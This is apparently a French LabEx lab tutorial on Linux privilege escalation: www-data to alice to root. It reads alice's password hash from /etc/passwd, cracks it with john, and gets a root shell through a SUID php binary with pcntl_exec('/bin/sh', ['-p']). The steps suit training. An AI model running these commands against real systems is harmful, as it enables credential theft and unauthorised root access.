Introduction
Dans ce laboratoire, nous allons apprendre comment escalader les privilèges jusqu'à l'utilisateur root lorsque nous ne pouvons pas directement escalader en tant que root. Nous allons y parvenir en escaladant d'abord vers un autre utilisateur régulier, puis en utilisant les privilèges de cet utilisateur pour escalader jusqu'à l'utilisateur root. Cet utilisateur intermédiaire est appelé un utilisateur « pierre de transition » (stepping stone).
Le but de ce laboratoire est d'escalader les privilèges de l'utilisateur www-data à l'utilisateur alice, puis de l'utilisateur alice à l'utilisateur root.
Initialiser l'environnement de laboratoire
Dans cette étape, nous allons initialiser l'environnement de laboratoire.
Tout d'abord, ouvrez un terminal et accédez au répertoire
/home/labex/project:cd /home/labex/projectExécutez la commande suivante pour configurer l'environnement du laboratoire :
./env_setup.sh
Cette commande téléchargera et exécutera un script qui configure l'environnement nécessaire pour le laboratoire. Après avoir exécuté cette commande, vous devriez être passé à l'utilisateur www-data, simulant un shell initial obtenu via une vulnérabilité web.
Tenter l'élévation de privilèges SUID
Dans cette étape, nous allons tenter d'escalader les privilèges en utilisant la technique SUID (Set User ID). Nous allons rechercher les fichiers exécutables avec le bit SUID activé, qui peuvent être exécutés avec les permissions du propriétaire du fichier (dans ce cas, root).
Tout d'abord, recherchons les fichiers exécutables SUID auxquels l'utilisateur
www-datapeut accéder :find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtCette commande va rechercher dans tout le système de fichiers les fichiers appartenant à l'utilisateur root et ayant le bit SUID activé (mode de permissions 4000).
Après avoir exécuté la commande, vous devriez voir une liste de fichiers exécutables SUID dans le fichier
www-data_suid_files.txt. Examinons le contenu de ce fichier :cat ~/www-data_suid_files.txt
Cependant, dans ce cas, il n'y a pas de fichiers adaptés pour une escalade de privilèges via SUID.
Examiner le répertoire personnel
Étant donné que nous n'avons pas pu escalader les privilèges en utilisant la technique SUID, explorons le répertoire personnel à la recherche d'utilisateurs potentiels de transition (stepping stone).
Tout d'abord, enregistrons le contenu du répertoire
/homedans un fichier pour une analyse plus approfondie :ls -alh /home > ~/home_dir_contents.txtCette commande répertoriera le contenu du répertoire
/homeau format détaillé, y compris les tailles de fichiers et les permissions, et l'enregistrera dans le fichierhome_dir_contents.txt.Ensuite, examinons le contenu du fichier
home_dir_contents.txtpour identifier tout utilisateur potentiel de transition :cat ~/home_dir_contents.txtVous devriez voir un répertoire nommé
alicedans la sortie, indiquant l'existence d'un utilisateur nomméalicesur le système.
Tenter d'élever les privilèges au compte utilisateur Alice
Étant donné que l'utilisateur www-data n'a pas accès au répertoire alice, nous devons trouver un moyen d'escalader les privilèges jusqu'à l'utilisateur alice en premier lieu.
Vérifions le fichier
/etc/passwdpour obtenir des informations sur l'utilisateuralice:cat /etc/passwd | grep alice > ~/alice_info.txtVérifions le contenu du fichier
alice_info.txtpour afficher les détails de l'utilisateuralicecat ~/alice_info.txtSortie attendue :
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bashDans la sortie, vous devriez voir une entrée pour l'utilisateur
alice, y compris le hachage du mot de passe.Pour casser le hachage du mot de passe, nous pouvons utiliser l'outil
john. Ouvrez un nouveau terminal et exécutez la commande suivante :john ~/alice_info.txt > cracked_passwords.txtExemple de sortie :
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedCela lancera le processus de cassage du mot de passe. Une fois le mot de passe cassé, vous devriez voir le mot de passe dans le fichier
cracked_passwords.txt.cat ~/cracked_passwords.txtExemple de sortie :
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)Dans ce cas, le mot de passe de l'utilisateur
aliceestbeautiful. Utilisez la commandesupour passer à l'utilisateuralice:su - aliceEntrez le mot de passe que nous avons cassé précédemment (
beautiful) lorsque vous y êtes invité.beautifulAprès avoir réussi à passer à l'utilisateur
alice, accédez au répertoirealiceet créez un nouveau fichier nomméalice.txt:cd /home/aliceCréez un nouveau fichier nommé
alice.txt:touch ~/alice.txtVous devriez maintenant avoir accès au répertoire
aliceet à son contenu.
Tenter une escalade de privilèges SUID en tant qu'utilisateur Alice
Maintenant que nous avons escaladé les privilèges jusqu'à l'utilisateur alice, essayons à nouveau la technique d'escalade de privilèges via SUID.
Assurez-vous que vous êtes dans le répertoire personnel de l'utilisateur
alice:cd /home/aliceExécutez la commande suivante pour trouver les fichiers avec le bit SUID activé :
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtVérifiez le contenu du fichier
alice_suid_files.txtpour afficher la liste des fichiers SUID :cat alice_suid_files.txtSortie attendue :
... /var/bin/php ...Cette fois, vous devriez voir un fichier exécutable
/var/bin/phpdans la sortie. Ce fichier peut être utilisé pour une escalade de privilèges via SUID.Pour escalader les privilèges jusqu'à l'utilisateur root, exécutez la commande suivante :
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"Cette commande exécutera un script PHP qui lancera un nouveau shell avec les privilèges root.
Vous devriez maintenant avoir un shell root, indiqué par l'invite
#dans le terminal. Vérifiez que vous avez les privilèges root en créant un fichier dans le répertoire root :touch /root/root.txtSi le fichier est créé sans erreur de permission, vous avez réussi à escalader les privilèges jusqu'à l'utilisateur root en utilisant la technique SUID.
Comprendre la différence dans les autorisations de répertoire
Vous vous demandez peut-être pourquoi l'utilisateur alice a pu trouver le fichier exécutable SUID php, tandis que l'utilisateur www-data n'a pas pu le faire. La réponse réside dans les permissions des répertoires.
Après la dernière étape, vous devriez toujours avoir un shell en tant qu'utilisateur root comme celui ci-dessous :
sh-5.1#
Examinons les permissions du répertoire
/var/binet enregistrons la sortie dans un fichier :ls -lh /var > /root/var_permissions.txtVérifions le contenu du fichier
var_permissions.txtpour afficher les permissions du répertoire/var:cat /root/var_permissions.txtSortie attendue :
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...Dans la sortie, vous devriez voir que le répertoire
/var/binappartient à l'utilisateur et au groupealice. Les autres utilisateurs n'ont pas de permissions de lecture, d'écriture ou d'exécution pour ce répertoire.
Cela signifie que lorsque nous avons escaladé les privilèges jusqu'à l'utilisateur alice, nous avons obtenu l'accès à des fichiers et des répertoires qui étaient auparavant inaccessibles à l'utilisateur www-data. Cette différence de permissions nous a permis de trouver et d'utiliser le fichier exécutable SUID pour l'escalade de privilèges.
Résumé
Dans ce laboratoire, nous avons appris à escalader les privilèges jusqu'à l'utilisateur root lorsque l'escalade directe aux privilèges root n'est pas possible. Nous avons atteint cet objectif en escaladant d'abord les privilèges jusqu'à l'utilisateur alice, un utilisateur de transition (stepping stone), puis en utilisant les privilèges de l'utilisateur alice pour escalader jusqu'à l'utilisateur root.
La principale leçon de ce laboratoire est de toujours être attentif aux différences de permissions entre les utilisateurs, car ces différences peuvent parfois être exploitées pour escalader les privilèges. Bien que nous ayons utilisé un exemple simple dans ce laboratoire, les scénarios réels peuvent être plus complexes, mais le principe de base reste le même : exploiter les différences de permissions entre les utilisateurs pour escalader les privilèges.



